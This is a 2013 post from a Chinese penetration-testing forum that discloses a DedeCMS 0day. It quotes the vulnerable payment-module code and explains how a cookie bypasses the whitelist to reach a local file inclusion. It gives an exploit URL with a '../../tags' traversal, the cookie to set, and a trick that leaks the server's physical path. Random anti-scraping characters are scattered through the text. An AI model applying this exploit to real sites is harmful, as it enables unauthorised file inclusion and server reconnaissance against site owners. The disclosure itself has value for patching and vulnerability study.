中国网络渗透测试联盟

标题: dedecms本地文件包含及物理路径泄露0day [打印本页]

作者: admin    时间: 2013-4-4 17:25
标题: dedecms本地文件包含及物理路径泄露0day
晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)% h( o1 F# n, {- v7 }
3 q# g# g2 v- h
出现漏洞的两个文件为:
6 u( f: z2 b& M. a# nInclude/payment/alipay.php
9 x" x. M- R2 @0 x$ r$ B6 {: ZInclude/payment/yeepay.php# t* P% L# Z- G
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
' c0 e) ]- R1 h& ~. }, ~4 ^& D6 {) m4 I1 {7 ?* m
Include/payment/alipay.php
3 o, w' S* W: ]$ r- o) Z8 F
+ ~" M/ I$ a7 |, a7 ~6 k6 ]......3 t+ N8 R) F3 u- D9 L* o. S& E+ K
   function respond()$ w5 L; g3 }8 a9 p
    {
7 H: @$ w" _) y6 U! E        if (!empty($_POST))% g5 O( r. q4 y$ S2 A2 F
        {. ~* X" l, [. ~- u6 E/ r. C$ ]; T
            foreach($_POST as $key => $data)
5 u9 s! z' P+ V            {  s. V7 ]2 l4 j4 ?1 L0 H
                $_GET[$key] = $data;
; ^) m- U3 Z0 ~+ w7 u  a3 F            }
" P% d# }1 H/ r- ]        }
8 O6 h  w7 m, G        /* 引入配置文件 */0 q  A  I* b  N
        require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
% L0 X* y' g* f: T0 J& s0 _9 F......
& D( F$ s* z6 n: Q! z
/ J! p: }; m7 S1 b) p' q# J/ e, h' B1 W. I& K
大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。. g3 e; R+ b: r/ p5 S

! I3 I) I7 j4 Z% T; [Include/payment/yeepay.php6 }. X( x; \% L; K7 I6 i0 g% l* S  k' O
8 R2 y1 e: }2 j- _+ n9 |/ g
& C+ r& G: U# B; }

! ~6 I1 h. H* g" I1 a/ b......9 u9 k  P2 p6 e2 {0 [
    function respond(): A* a. @3 o$ a/ O
    {
+ U" B1 n4 x& d
5 I7 O/ S* G6 B0 J! V        /* 引入配置文件 */
3 m, k0 T4 W6 K, q# X+ r1 S        require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';7 A+ p8 E5 u7 g
! x; s9 H0 v+ F) S' m! o5 X6 M. `1 O
        $p1_MerId = trim($payment['yp_account']);( a2 `% I0 U$ e6 r. \2 C3 a9 l
        $merchantKey = trim($payment['yp_key']);
. c; O& B2 U% B+ N/ T. p6 J8 }+ s......
) ?" y- O9 t, x0 L8 l* `. ^
2 _  F1 S( L- H! C4 S: K
: W( W# F9 n3 c) z  m7 k   y$ `0 x' h0 h6 |% m. _

0 z: f# k, N% t大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。
, z/ y5 L3 T1 P& }: I  c, [$ k6 t# A$ f- ^7 {) [" P. ~0 M
这两个方法在plus/carbuyaction.php文件调用。; @# ~! C& P& R1 \  i

' b; |7 M1 r8 p; b' Dplus/carbuyaction.php0 O6 M! E6 C2 ?. B  P
1 o  F" F& U" h5 i( H; Y
......
/ j  \* V' L3 ^! K* x+ a+ e# b} else if ($dopost == 'return') {
/ M; ^$ b- Q8 W6 q    $write_list = array('alipay', 'bank', 'cod', 'yeepay');' h! u: Y! s! D3 Z0 G
    if (in_array($code, $write_list))- h2 M  e% E, {/ g/ G5 p
    {
- l# K" H+ }0 U5 r7 X$ t! d        require_once DEDEINC.'/payment/'.$code.'.php';  T" ]- Y% @# S$ Y
        $pay = new $code;8 n7 y1 U4 e5 P; x; i* c
        $msg=$pay->respond();+ @1 r8 l# A" V. q" V( Z
        ShowMsg($msg, "javascript:;", 0, 3000);
8 |" N. M. G: _$ p9 D        exit();  9 _7 N" B# l, k
    } else {' {, |, F! L6 k& a% |) k7 w/ n
        exit('Error:File Type Can\'t Recognized!');% A  @& o2 ]5 z/ N% f: J
    }. K& z  h4 a+ ^( F, f4 q8 Y8 S3 D
}
" a/ j0 E7 f5 \. U* i0 B! L* G...... 3 w6 d* [6 C  G1 n! e' p5 p

* ^+ W; @5 a5 c% q7 P+ p6 q5 \
% B1 d* s; E. @3 M5 e% Q 0 v1 q) T/ A: a+ A# }# e6 q

, V4 ^( M3 k" z. v- Y, M , K  ?+ A% P& s3 O( q

0 p$ O9 `& J- D& J" {& |. \- g0 e大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。
) Y6 p" E  a/ G" n所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。+ i  E! t6 M! s6 J1 k' i( f' C$ X
5 O  u# s8 V/ @
回到include/common.inc.php来看看他的机制。
: v+ a; o  C: I5 m
# X8 q1 M4 Z: J3 R  ^
* m5 c' s6 I9 i  {
1 {  R4 p4 v5 r......8 s! W8 r1 F- \% I6 U. b
foreach(Array('_GET','_POST','_COOKIE') as $_request)
3 d  k# `4 ]) z3 Z4 t9 H{
4 F: x. V- F* {* W3 f% i7 f; N5 c* f        foreach($$_request as $_k => $_v) ! }; L5 L( h! e' O, c: @) g
        {! i) n5 Y6 A9 z0 y6 _
                if($_k == 'nvarname') ${$_k} = $_v;
/ T( y$ }# j% \- z                else ${$_k} = _RunMagicQuotes($_v);
2 q( s9 V0 s4 v' A        }6 J! D2 ?3 `! _- Q, @. h/ n- O
}
5 G0 x+ N+ r' m...... 0 ^9 l0 W8 Z, d# h2 z/ [
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:  z+ ~4 x& b) N) K8 w- k5 l. B8 I, C6 q
由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2